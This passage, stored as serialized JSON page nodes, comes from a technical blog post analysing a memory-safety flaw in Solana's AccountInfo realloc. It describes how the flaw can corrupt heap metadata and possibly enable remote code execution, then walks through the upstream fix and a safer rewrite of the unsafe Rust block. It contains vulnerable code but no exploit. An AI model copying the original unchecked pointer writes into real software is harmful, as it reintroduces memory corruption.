use.",{"type":23,"tag":82,"props":16049,"children":16051},{"id":16050},"not-contracts",[16052],{"type":28,"value":16053},"Not-contracts?",{"type":23,"tag":24,"props":16055,"children":16056},{},[16057,16059,16064,16066,16076,16078,16090,16092,16099,16101,16106,16108,16113,16115,16128,16130,16135,16137,16142],{"type":28,"value":16058},"Remember when we said that all this code makes sense ",{"type":23,"tag":1887,"props":16060,"children":16061},{},[16062],{"type":28,"value":16063},"if the data points to the BPF loader's serialized buffer",{"type":28,"value":16065},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":23,"tag":92,"props":16067,"children":16070},{"href":16068,"rel":16069},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[96],[16071],{"type":23,"tag":56,"props":16072,"children":16074},{"className":16073},[],[16075],{"type":28,"value":13918},{"type":28,"value":16077}," are public, and so is its ",{"type":23,"tag":92,"props":16079,"children":16082},{"href":16080,"rel":16081},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[96],[16083,16088],{"type":23,"tag":56,"props":16084,"children":16086},{"className":16085},[],[16087],{"type":28,"value":14102},{"type":28,"value":16089}," method",{"type":28,"value":16091}," (which is ",{"type":23,"tag":92,"props":16093,"children":16096},{"href":16094,"rel":16095},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[96],[16097],{"type":28,"value":16098},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":28,"value":16100},"). The ",{"type":23,"tag":56,"props":16102,"children":16104},{"className":16103},[],[16105],{"type":28,"value":12619},{"type":28,"value":16107}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":23,"tag":56,"props":16109,"children":16111},{"className":16110},[],[16112],{"type":28,"value":13918},{"type":28,"value":16114}," ourselves - potentially through the ",{"type":23,"tag":92,"props":16116,"children":16119},{"href":16117,"rel":16118},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[96],[16120,16126],{"type":23,"tag":56,"props":16121,"children":16123},{"className":16122},[],[16124],{"type":28,"value":16125},"Account",{"type":28,"value":16127}," trait",{"type":28,"value":16129},", which is hardly documented at all and makes ",{"type":23,"tag":1887,"props":16131,"children":16132},{},[16133],{"type":28,"value":16134},"no",{"type":28,"value":16136}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":23,"tag":56,"props":16138,"children":16140},{"className":16139},[],[16141],{"type":28,"value":2679},{"type":28,"value":16143}," buffer.",{"type":23,"tag":24,"props":16145,"children":16146},{},[16147,16149,16160,16162,16168,16170,16176,16178,16191,16193,16198,16200,16205,16207,16212,16214,16219,16221,16226,16228,16233],{"type":28,"value":16148},"One long arm of this is ",{"type":23,"tag":92,"props":16150,"children":16153},{"href":16151,"rel":16152},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[96],[16154],{"type":23,"tag":56,"props":16155,"children":16157},{"className":16156},[],[16158],{"type":28,"value":16159},"solana_sdk::account::Account",{"type":28,"value":16161}," - in the client SDK. It holds an account's data in a ",{"type":23,"tag":56,"props":16163,"children":16165},{"className":16164},[],[16166],{"type":28,"value":16167},"Vec\u003Cu8>",{"type":28,"value":16169},", and it implements ",{"type":23,"tag":56,"props":16171,"children":16173},{"className":16172},[],[16174],{"type":28,"value":16175},"solana_program::account_info::Account",{"type":28,"value":16177}," (the trait from earlier) - by ",{"type":23,"tag":92,"props":16179,"children":16182},{"href":16180,"rel":16181},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[96],[16183,16185],{"type":28,"value":16184},"returning a reference to the contents of that ",{"type":23,"tag":56,"props":16186,"children":16188},{"className":16187},[],[16189],{"type":28,"value":16190},"Vec",{"type":28,"value":16192},". So, ",{"type":23,"tag":56,"props":16194,"children":16196},{"className":16195},[],[16197],{"type":28,"value":12619},{"type":28,"value":16199}," writes the size into the 8 bytes right before ",{"type":23,"tag":56,"props":16201,"children":16203},{"className":16202},[],[16204],{"type":28,"value":2679},{"type":28,"value":16206},"; ",{"type":23,"tag":56,"props":16208,"children":16210},{"className":16209},[],[16211],{"type":28,"value":2679},{"type":28,"value":16213}," is the buffer of a ",{"type":23,"tag":56,"props":16215,"children":16217},{"className":16216},[],[16218],{"type":28,"value":16190},{"type":28,"value":16220},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":23,"tag":56,"props":16222,"children":16224},{"className":16223},[],[16225],{"type":28,"value":13918},{"type":28,"value":16227}," out of an SDK ",{"type":23,"tag":56,"props":16229,"children":16231},{"className":16230},[],[16232],{"type":28,"value":16125},{"type":28,"value":16234}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":23,"tag":70,"props":16236,"children":16238},{"id":16237},"remediation",[16239],{"type":28,"value":16240},"Remediation",{"type":23,"tag":24,"props":16242,"children":16243},{},[16244],{"type":28,"value":16245},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":23,"tag":24,"props":16247,"children":16248},{},[16249,16251,16256,16258,16263,16265,16276,16278,16283,16285,16292],{"type":28,"value":16250},"The sensible thing to do would be to store the initial size in the ",{"type":23,"tag":56,"props":16252,"children":16254},{"className":16253},[],[16255],{"type":28,"value":13918},{"type":28,"value":16257},"... except for the fact that the layout of ",{"type":23,"tag":56,"props":16259,"children":16261},{"className":16260},[],[16262],{"type":28,"value":13918},{"type":28,"value":16264}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":23,"tag":14454,"props":16266,"children":16267},{},[16268],{"type":23,"tag":92,"props":16269,"children":16273},{"href":16270,"ariaDescribedBy":16271,"dataFootnoteRef":7,"id":16272},"#user-content-fn-layout",[14461],"user-content-fnref-layout",[16274],{"type":28,"value":16275},"3",{"type":28,"value":16277}," So, with changing ",{"type":23,"tag":56,"props":16279,"children":16281},{"className":16280},[],[16282],{"type":28,"value":13918},{"type":28,"value":16284}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":23,"tag":92,"props":16286,"children":16289},{"href":16287,"rel":16288},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[96],[16290],{"type":28,"value":16291},"this function",{"type":28,"value":3472},{"type":23,"tag":494,"props":16294,"children":16296},{"className":1957,"code":16295,"language":1956,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[16297],{"type":23,"tag":56,"props":16298,"children":16299},{"__ignoreMap":7},[16300,16308,16316,16324,16332,16339,16347,16355,16403,16468,16534,16555],{"type":23,"tag":504,"props":16301,"children":16302},{"class":506,"line":507},[16303],{"type":23,"tag":504,"props":16304,"children":16305},{"style":1106},[16306],{"type":28,"value":16307},"/// Return the account's original data length when it was serialized for the\n",{"type":23,"tag":504,"props":16309,"children":16310},{"class":506,"line":540},[16311],{"type":23,"tag":504,"props":16312,"children":16313},{"style":1106},[16314],{"type":28,"value":16315},"/// current program invocation.\n",{"type":23,"tag":504,"props":16317,"children":16318},{"class":506,"line":555},[16319],{"type":23,"tag":504,"props":16320,"children":16321},{"style":1106},[16322],{"type":28,"value":16323},"///\n",{"type":23,"tag":504,"props":16325,"children":16326},{"class":506,"line":633},[16327],{"type":23,"tag":504,"props":16328,"children":16329},{"style":1106},[16330],{"type":28,"value":16331},"/// # Safety\n",{"type":23,"tag":504,"props":16333,"children":16334},{"class":506,"line":687},[16335],{"type":23,"tag":504,"props":16336,"children":16337},{"style":1106},[16338],{"type":28,"value":16323},{"type":23,"tag":504,"props":16340,"children":16341},{"class":506,"line":736},[16342],{"type":23,"tag":504,"props":16343,"children":16344},{"style":1106},[16345],{"type":28,"value":16346},"/// This method assumes that the original data length was serialized as a u32\n",{"type":23,"tag":504,"props":16348,"children":16349},{"class":506,"line":785},[16350],{"type":23,"tag":504,"props":16351,"children":16352},{"style":1106},[16353],{"type":28,"value":16354},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":23,"tag":504,"props":16356,"children":16357},{"class":506,"line":813},[16358,16362,16366,16370,16375,16379,16383,16387,16391,16395,16399],{"type":23,"tag":504,"props":16359,"children":16360},{"style":511},[16361],{"type":28,"value":12671},{"type":23,"tag":504,"props":16363,"children":16364},{"style":511},[16365],{"type":28,"value":13571},{"type":23,"tag":504,"props":16367,"children":16368},{"style":511},[16369],{"type":28,"value":12676},{"type":23,"tag":504,"props":16371,"children":16372},{"style":517},[16373],{"type":28,"value":16374}," original_data_len",{"type":23,"tag":504,"props":16376,"children":16377},{"style":523},[16378],{"type":28,"value":526},{"type":23,"tag":504,"props":16380,"children":16381},{"style":598},[16382],{"type":28,"value":2086},{"type":23,"tag":504,"props":16384,"children":16385},{"style":511},[16386],{"type":28,"value":12694},{"type":23,"tag":504,"props":16388,"children":16389},{"style":523},[16390],{"type":28,"value":2064},{"type":23,"tag":504,"props":16392,"children":16393},{"style":598},[16394],{"type":28,"value":12738},{"type":23,"tag":504,"props":16396,"children":16397},{"style":1012},[16398],{"type":28,"value":12712},{"type":23,"tag":504,"props":16400,"children":16401},{"style":523},[16402],{"type":28,"value":552},{"type":23,"tag":504,"props":16404,"children":16405},{"class":506,"line":851},[16406,16410,16415,16419,16423,16427,16432,16436,16440,16444,16448,16452,16456,16460,16464],{"type":23,"tag":504,"props":16407,"children":16408},{"style":511},[16409],{"type":28,"value":1977},{"type":23,"tag":504,"props":16411,"children":16412},{"style":529},[16413],{"type":28,"value":16414}," key_ptr",{"type":23,"tag":504,"props":16416,"children":16417},{"style":598},[16418],{"type":28,"value":648},{"type":23,"tag":504,"props":16420,"children":16421},{"style":511},[16422],{"type":28,"value":12778},{"type":23,"tag":504,"props":16424,"children":16425},{"style":598},[16426],{"type":28,"value":320},{"type":23,"tag":504,"props":16428,"children":16429},{"style":523},[16430],{"type":28,"value":16431},"key ",{"type":23,"tag":504,"props":16433,"children":16434},{"style":511},[16435],{"type":28,"value":7825},{"type":23,"tag":504,"props":16437,"children":16438},{"style":598},[16439],{"type":28,"value":8797},{"type":23,"tag":504,"props":16441,"children":16442},{"style":511},[16443],{"type":28,"value":8635},{"type":23,"tag":504,"props":16445,"children":16446},{"style":529},[16447],{"type":28,"value":2013},{"type":23,"tag":504,"props":16449,"children":16450},{"style":511},[16451],{"type":28,"value":7811},{"type":23,"tag":504,"props":16453,"children":16454},{"style":598},[16455],{"type":28,"value":8797},{"type":23,"tag":504,"props":16457,"children":16458},{"style":511},[16459],{"type":28,"value":8635},{"type":23,"tag":504,"props":16461,"children":16462},{"style":1012},[16463],{"type":28,"value":13615},{"type":23,"tag":504,"props":16465,"children":16466},{"style":523},[16467],{"type":28,"value":866},{"type":23,"tag":504,"props":16469,"children":16470},{"class":506,"line":869},[16471,16475,16480,16484,16488,16492,16496,16500,16504,16509,16513,16517,16521,16525,16530],{"type":23,"tag":504,"props":16472,"children":16473},{"style":511},[16474],{"type":28,"value":1977},{"type":23,"tag":504,"props":16476,"children":16477},{"style":529},[16478],{"type":28,"value":16479}," original_data_len_ptr",{"type":23,"tag":504,"props":16481,"children":16482},{"style":598},[16483],{"type":28,"value":648},{"type":23,"tag":504,"props":16485,"children":16486},{"style":529},[16487],{"type":28,"value":16414},{"type":23,"tag":504,"props":16489,"children":16490},{"style":598},[16491],{"type":28,"value":320},{"type":23,"tag":504,"props":16493,"children":16494},{"style":517},[16495],{"type":28,"value":12882},{"type":23,"tag":504,"props":16497,"children":16498},{"style":523},[16499],{"type":28,"value":526},{"type":23,"tag":504,"props":16501,"children":16502},{"style":598},[16503],{"type":28,"value":3308},{"type":23,"tag":504,"props":16505,"children":16506},{"style":1440},[16507],{"type":28,"value":16508},"4",{"type":23,"tag":504,"props":16510,"children":16511},{"style":523},[16512],{"type":28,"value":2064},{"type":23,"tag":504,"props":16514,"children":16515},{"style":511},[16516],{"type":28,"value":7825},{"type":23,"tag":504,"props":16518,"children":16519},{"style":598},[16520],{"type":28,"value":8797},{"type":23,"tag":504,"props":16522,"children":16523},{"style":511},[16524],{"type":28,"value":8635},{"type":23,"tag":504,"props":16526,"children":16527},{"style":1012},[16528],{"type":28,"value":16529}," u32",{"type":23,"tag":504,"props":16531,"children":16532},{"style":523},[16533],{"type":28,"value":866},{"type":23,"tag":504,"props":16535,"children":16536},{"class":506,"line":878},[16537,16542,16547,16551],{"type":23,"tag":504,"props":16538,"children":16539},{"style":598},[16540],{"type":28,"value":16541},"    *",{"type":23,"tag":504,"props":16543,"children":16544},{"style":529},[16545],{"type":28,"value":16546},"original_data_len_ptr",{"type":23,"tag":504,"props":16548,"children":16549},{"style":511},[16550],{"type":28,"value":7811},{"type":23,"tag":504,"props":16552,"children":16553},{"style":1012},[16554],{"type":28,"value":15953},{"type":23,"tag":504,"props":16556,"children":16557},{"class":506,"line":1221},[16558],{"type":23,"tag":504,"props":16559,"children":16560},{"style":523},[16561],{"type":28,"value":884},{"type":23,"tag":24,"props":16563,"children":16564},{},[16565,16567,16572,16574,16579,16581,16586,16588,16593,16595,16602,16604,16611,16612,16619,16620,16627,16628,16635],{"type":28,"value":16566},"It's marked ",{"type":23,"tag":56,"props":16568,"children":16570},{"className":16569},[],[16571],{"type":28,"value":13337},{"type":28,"value":16573},", properly documented, but there's just one problem: we need this for ",{"type":23,"tag":56,"props":16575,"children":16577},{"className":16576},[],[16578],{"type":28,"value":12619},{"type":28,"value":16580},", which originally was not ",{"type":23,"tag":56,"props":16582,"children":16584},{"className":16583},[],[16585],{"type":28,"value":13337},{"type":28,"value":16587},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":23,"tag":56,"props":16589,"children":16591},{"className":16590},[],[16592],{"type":28,"value":13337},{"type":28,"value":16594}," block and added ",{"type":23,"tag":92,"props":16596,"children":16599},{"href":16597,"rel":16598},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[96],[16600],{"type":28,"value":16601},"a doc comment",{"type":28,"value":16603}," - adding to the ",{"type":23,"tag":92,"props":16605,"children":16608},{"href":16606,"rel":16607},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[96],[16609],{"type":28,"value":16610},"small",{"type":28,"value":5441},{"type":23,"tag":92,"props":16613,"children":16616},{"href":16614,"rel":16615},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[96],[16617],{"type":28,"value":16618},"pile",{"type":28,"value":5441},{"type":23,"tag":92,"props":16621,"children":16624},{"href":16622,"rel":16623},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[96],[16625],{"type":28,"value":16626},"of",{"type":28,"value":5441},{"type":23,"tag":92,"props":16629,"children":16632},{"href":16630,"rel":16631},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[96],[16633],{"type":28,"value":16634},"functions",{"type":28,"value":16636}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":23,"tag":70,"props":16638,"children":16640},{"id":16639},"towards-safer-unsafe",[16641,16643],{"type":28,"value":16642},"Towards safer ",{"type":23,"tag":56,"props":16644,"children":16646},{"className":16645},[],[16647],{"type":28,"value":13337},{"type":23,"tag":24,"props":16649,"children":16650},{},[16651,16653,16658,16660,16665,16667,16674],{"type":28,"value":16652},"Let's circle back to that main ",{"type":23,"tag":56,"props":16654,"children":16656},{"className":16655},[],[16657],{"type":28,"value":13337},{"type":28,"value":16659}," block inside ",{"type":23,"tag":56,"props":16661,"children":16663},{"className":16662},[],[16664],{"type":28,"value":12619},{"type":28,"value":16666}," for a bit, shall we? As a reminder, it looks like ",{"type":23,"tag":92,"props":16668,"children":16671},{"href":16669,"rel":16670},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[96],[16672],{"type":28,"value":16673},"this",{"type":28,"value":3472},{"type":23,"tag":494,"props":16676,"children":16678},{"className":1957,"code":16677,"language":1956,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[16679],{"type":23,"tag":56,"props":16680,"children":16681},{"__ignoreMap":7},[16682,16690,16701,16709,16796,16827,16834,16842,16969,17000],{"type":23,"tag":504,"props":16683,"children":16684},{"class":506,"line":507},[16685],{"type":23,"tag":504,"props":16686,"children":16687},{"style":1106},[16688],{"type":28,"value":16689},"// realloc\n",{"type":23,"tag":504,"props":16691,"children":16692},{"class":506,"line":540},[16693,16697],{"type":23,"tag":504,"props":16694,"children":16695},{"style":511},[16696],{"type":28,"value":13337},{"type":23,"tag":504,"props":16698,"children":16699},{"style":523},[16700],{"type":28,"value":552},{"type":23,"tag":504,"props":16702,"children":16703},{"class":506,"line":555},[16704],{"type":23,"tag":504,"props":16705,"children":16706},{"style":1106},[16707],{"type":28,"value":16708},"    // First set new length in the serialized data\n",{"type":23,"tag":504,"props":16710,"children":16711},{"class":506,"line":633},[16712,16716,16720,16724,16728,16732,16736,16740,16744,16748,16752,16756,16760,16764,16768,16772,16776,16780,16784,16788,16792],{"type":23,"tag":504,"props":16713,"children":16714},{"style":511},[16715],{"type":28,"value":1977},{"type":23,"tag":504,"props":16717,"children":16718},{"style":529},[16719],{"type":28,"value":12838},{"type":23,"tag":504,"props":16721,"children":16722},{"style":598},[16723],{"type":28,"value":648},{"type":23,"tag":504,"props":16725,"children":16726},{"style":511},[16727],{"type":28,"value":12778},{"type":23,"tag":504,"props":16729,"children":16730},{"style":598},[16731],{"type":28,"value":320},{"type":23,"tag":504,"props":16733,"children":16734},{"style":517},[16735],{"type":28,"value":12855},{"type":23,"tag":504,"props":16737,"children":16738},{"style":523},[16739],{"type":28,"value":12860},{"type":23,"tag":504,"props":16741,"children":16742},{"style":598},[16743],{"type":28,"value":2110},{"type":23,"tag":504,"props":16745,"children":16746},{"style":517},[16747],{"type":28,"value":12869},{"type":23,"tag":504,"props":16749,"children":16750},{"style":523},[16751],{"type":28,"value":12860},{"type":23,"tag":504,"props":16753,"children":16754},{"style":598},[16755],{"type":28,"value":320},{"type":23,"tag":504,"props":16757,"children":16758},{"style":517},[16759],{"type":28,"value":12882},{"type":23,"tag":504,"props":16761,"children":16762},{"style":523},[16763],{"type":28,"value":526},{"type":23,"tag":504,"props":16765,"children":16766},{"style":598},[16767],{"type":28,"value":3308},{"type":23,"tag":504,"props":16769,"children":16770},{"style":1440},[16771],{"type":28,"value":3055},{"type":23,"tag":504,"props":16773,"children":16774},{"style":523},[16775],{"type":28,"value":2064},{"type":23,"tag":504,"props":16777,"children":16778},{"style":511},[16779],{"type":28,"value":7825},{"type":23,"tag":504,"props":16781,"children":16782},{"style":598},[16783],{"type":28,"value":8797},{"type":23,"tag":504,"props":16785,"children":16786},{"style":511},[16787],{"type":28,"value":2701},{"type":23,"tag":504,"props":16789,"children":16790},{"style":1012},[16791],{"type":28,"value":4843},{"type":23,"tag":504,"props":16793,"children":16794},{"style":523},[16795],{"type":28,"value":866},{"type":23,"tag":504,"props":16797,"children":16798},{"class":506,"line":687},[16799,16803,16807,16811,16815,16819,16823],{"type":23,"tag":504,"props":16800,"children":16801},{"style":598},[16802],{"type":28,"value":16541},{"type":23,"tag":504,"props":16804,"children":16805},{"style":529},[16806],{"type":28,"value":12930},{"type":23,"tag":504,"props":16808,"children":16809},{"style":598},[16810],{"type":28,"value":648},{"type":23,"tag":504,"props":16812,"children":16813},{"style":529},[16814],{"type":28,"value":12939},{"type":23,"tag":504,"props":16816,"children":16817},{"style":511},[16818],{"type":28,"value":7811},{"type":23,"tag":504,"props":16820,"children":16821},{"style":1012},[16822],{"type":28,"value":4843},{"type":23,"tag":504,"props":16824,"children":16825},{"style":523},[16826],{"type":28,"value":866},{"type":23,"tag":504,"props":16828,"children":16829},{"class":506,"line":736},[16830],{"type":23,"tag":504,"props":16831,"children":16832},{"emptyLinePlaceholder":16},[16833],{"type":28,"value":1038},{"type":23,"tag":504,"props":16835,"children":16836},{"class":506,"line":785},[16837],{"type":23,"tag":504,"props":16838,"children":16839},{"style":1106},[16840],{"type":28,"value":16841},"    // Then set the new length in the local slice\n",{"type":23,"tag":504,"props":16843,"children":16844},{"class":506,"line":813},[16845,16849,16853,16857,16861,16865,16869,16873,16877,16881,16885,16889,16893,16897,16901,16905,16909,16913,16917,16921,16925,16929,16933,16937,16941,16945,16949,16953,16957,16961,16965],{"type":23,"tag":504,"props":16846,"children":16847},{"style":511},[16848],{"type":28,"value":1977},{"type":23,"tag":504,"props":16850,"children":16851},{"style":529},[16852],{"type":28,"value":12838},{"type":23,"tag":504,"props":16854,"children":16855},{"style":598},[16856],{"type":28,"value":648},{"type":23,"tag":504,"props":16858,"children":16859},{"style":598},[16860],{"type":28,"value":6125},{"type":23,"tag":504,"props":16862,"children":16863},{"style":511},[16864],{"type":28,"value":2701},{"type":23,"tag":504,"props":16866,"children":16867},{"style":598},[16868],{"type":28,"value":8797},{"type":23,"tag":504,"props":16870,"children":16871},{"style":523},[16872],{"type":28,"value":12998},{"type":23,"tag":504,"props":16874,"children":16875},{"style":511},[16876],{"type":28,"value":12694},{"type":23,"tag":504,"props":16878,"children":16879},{"style":598},[16880],{"type":28,"value":320},{"type":23,"tag":504,"props":16882,"children":16883},{"style":523},[16884],{"type":28,"value":2679},{"type":23,"tag":504,"props":16886,"children":16887},{"style":598},[16888],{"type":28,"value":320},{"type":23,"tag":504,"props":16890,"children":16891},{"style":517},[16892],{"type":28,"value":13019},{"type":23,"tag":504,"props":16894,"children":16895},{"style":523},[16896],{"type":28,"value":13024},{"type":23,"tag":504,"props":16898,"children":16899},{"style":511},[16900],{"type":28,"value":7825},{"type":23,"tag":504,"props":16902,"children":16903},{"style":598},[16904],{"type":28,"value":8797},{"type":23,"tag":504,"props":16906,"children":16907},{"style":511},[16908],{"type":28,"value":8635},{"type":23,"tag":504,"props":16910,"children":16911},{"style":1012},[16912],{"type":28,"value":4843},{"type":23,"tag":504,"props":16914,"children":16915},{"style":523},[16916],{"type":28,"value":2105},{"type":23,"tag":504,"props":16918,"children":16919},{"style":598},[16920],{"type":28,"value":320},{"type":23,"tag":504,"props":16922,"children":16923},{"style":517},[16924],{"type":28,"value":12882},{"type":23,"tag":504,"props":16926,"children":16927},{"style":523},[16928],{"type":28,"value":526},{"type":23,"tag":504,"props":16930,"children":16931},{"style":1440},[16932],{"type":28,"value":2991},{"type":23,"tag":504,"props":16934,"children":16935},{"style":523},[16936],{"type":28,"value":2064},{"type":23,"tag":504,"props":16938,"children":16939},{"style":511},[16940],{"type":28,"value":7825},{"type":23,"tag":504,"props":16942,"children":16943},{"style":1012},[16944],{"type":28,"value":4843},{"type":23,"tag":504,"props":16946,"children":16947},{"style":523},[16948],{"type":28,"value":2064},{"type":23,"tag":504,"props":16950,"children":16951},{"style":511},[16952],{"type":28,"value":7825},{"type":23,"tag":504,"props":16954,"children":16955},{"style":598},[16956],{"type":28,"value":8797},{"type":23,"tag":504,"props":16958,"children":16959},{"style":511},[16960],{"type":28,"value":2701},{"type":23,"tag":504,"props":16962,"children":16963},{"style":1012},[16964],{"type":28,"value":4843},{"type":23,"tag":504,"props":16966,"children":16967},{"style":523},[16968],{"type":28,"value":630},{"type":23,"tag":504,"props":16970,"children":16971},{"class":506,"line":851},[16972,16976,16980,16984,16988,16992,16996],{"type":23,"tag":504,"props":16973,"children":16974},{"style":598},[16975],{"type":28,"value":16541},{"type":23,"tag":504,"props":16977,"children":16978},{"style":529},[16979],{"type":28,"value":12930},{"type":23,"tag":504,"props":16981,"children":16982},{"style":598},[16983],{"type":28,"value":648},{"type":23,"tag":504,"props":16985,"children":16986},{"style":529},[16987],{"type":28,"value":12939},{"type":23,"tag":504,"props":16989,"children":16990},{"style":511},[16991],{"type":28,"value":7811},{"type":23,"tag":504,"props":16993,"children":16994},{"style":1012},[16995],{"type":28,"value":4843},{"type":23,"tag":504,"props":16997,"children":16998},{"style":523},[16999],{"type":28,"value":866},{"type":23,"tag":504,"props":17001,"children":17002},{"class":506,"line":869},[17003],{"type":23,"tag":504,"props":17004,"children":17005},{"style":523},[17006],{"type":28,"value":884},{"type":23,"tag":24,"props":17008,"children":17009},{},[17010,17012,17017],{"type":28,"value":17011},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":23,"tag":56,"props":17013,"children":17015},{"className":17014},[],[17016],{"type":28,"value":14484},{"type":28,"value":17018}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":23,"tag":24,"props":17020,"children":17021},{},[17022,17024,17029,17031,17036,17038,17043,17045,17050,17052,17057,17059,17065,17067,17077,17079,17090],{"type":28,"value":17023},"First, let's deal with the ",{"type":23,"tag":56,"props":17025,"children":17027},{"className":17026},[],[17028],{"type":28,"value":14484},{"type":28,"value":17030}," borrowing issue. When we ",{"type":23,"tag":56,"props":17032,"children":17034},{"className":17033},[],[17035],{"type":28,"value":12855},{"type":28,"value":17037},", we get a ",{"type":23,"tag":56,"props":17039,"children":17041},{"className":17040},[],[17042],{"type":28,"value":15720},{"type":28,"value":17044}," back, which represents our borrow of the ",{"type":23,"tag":56,"props":17046,"children":17048},{"className":17047},[],[17049],{"type":28,"value":14484},{"type":28,"value":17051},"'s data. The fix here is simple: keep that ",{"type":23,"tag":56,"props":17053,"children":17055},{"className":17054},[],[17056],{"type":28,"value":15720},{"type":28,"value":17058}," around and use it to access the data, instead of using ",{"type":23,"tag":56,"props":17060,"children":17062},{"className":17061},[],[17063],{"type":28,"value":17064},"RefCell::as_ptr",{"type":28,"value":17066},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":23,"tag":14454,"props":17068,"children":17069},{},[17070],{"type":23,"tag":92,"props":17071,"children":17075},{"href":17072,"ariaDescribedBy":17073,"dataFootnoteRef":7,"id":17074},"#user-content-fn-rustc-llvm",[14461],"user-content-fnref-rustc-llvm",[17076],{"type":28,"value":16508},{"type":28,"value":17078}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":23,"tag":14454,"props":17080,"children":17081},{},[17082],{"type":23,"tag":92,"props":17083,"children":17087},{"href":17084,"ariaDescribedBy":17085,"dataFootnoteRef":7,"id":17086},"#user-content-fn-godbolt",[14461],"user-content-fnref-godbolt",[17088],{"type":28,"value":17089},"5",{"type":28,"value":17091},". So then we get:",{"type":23,"tag":494,"props":17093,"children":17095},{"className":1957,"code":17094,"language":1956,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[17096],{"type":23,"tag":56,"props":17097,"children":17098},{"__ignoreMap":7},[17099,17143,17150,17157,17241,17280,17287,17294],{"type":23,"tag":504,"props":17100,"children":17101},{"class":506,"line":507},[17102,17106,17110,17115,17119,17123,17127,17131,17135,17139],{"type":23,"tag":504,"props":17103,"children":17104},{"style":511},[17105],{"type":28,"value":10769},{"type":23,"tag":504,"props":17107,"children":17108},{"style":511},[17109],{"type":28,"value":1982},{"type":23,"tag":504,"props":17111,"children":17112},{"style":529},[17113],{"type":28,"value":17114}," slice",{"type":23,"tag":504,"props":17116,"children":17117},{"style":598},[17118],{"type":28,"value":648},{"type":23,"tag":504,"props":17120,"children":17121},{"style":511},[17122],{"type":28,"value":12778},{"type":23,"tag":504,"props":17124,"children":17125},{"style":598},[17126],{"type":28,"value":320},{"type":23,"tag":504,"props":17128,"children":17129},{"style":517},[17130],{"type":28,"value":12855},{"type":23,"tag":504,"props":17132,"children":17133},{"style":523},[17134],{"type":28,"value":12860},{"type":23,"tag":504,"props":17136,"children":17137},{"style":598},[17138],{"type":28,"value":2133},{"type":23,"tag":504,"props":17140,"children":17141},{"style":523},[17142],{"type":28,"value":866},{"type":23,"tag":504,"props":17144,"children":17145},{"class":506,"line":540},[17146],{"type":23,"tag":504,"props":17147,"children":17148},{"emptyLinePlaceholder":16},[17149],{"type":28,"value":1038},{"type":23,"tag":504,"props":17151,"children":17152},{"class":506,"line":555},[17153],{"type":23,"tag":504,"props":17154,"children":17155},{"style":1106},[17156],{"type":28,"value":13384},{"type":23,"tag":504,"props":17158,"children":17159},{"class":506,"line":633},[17160,17164,17168,17172,17176,17180,17184,17188,17192,17196,17200,17204,17208,17212,17216,17221,17225,17229,17233,17237],{"type":23,"tag":504,"props":17161,"children":17162},{"style":511},[17163],{"type":28,"value":10769},{"type":23,"tag":504,"props":17165,"children":17166},{"style":529},[17167],{"type":28,"value":12838},{"type":23,"tag":504,"props":17169,"children":17170},{"style":598},[17171],{"type":28,"value":648},{"type":23,"tag":504,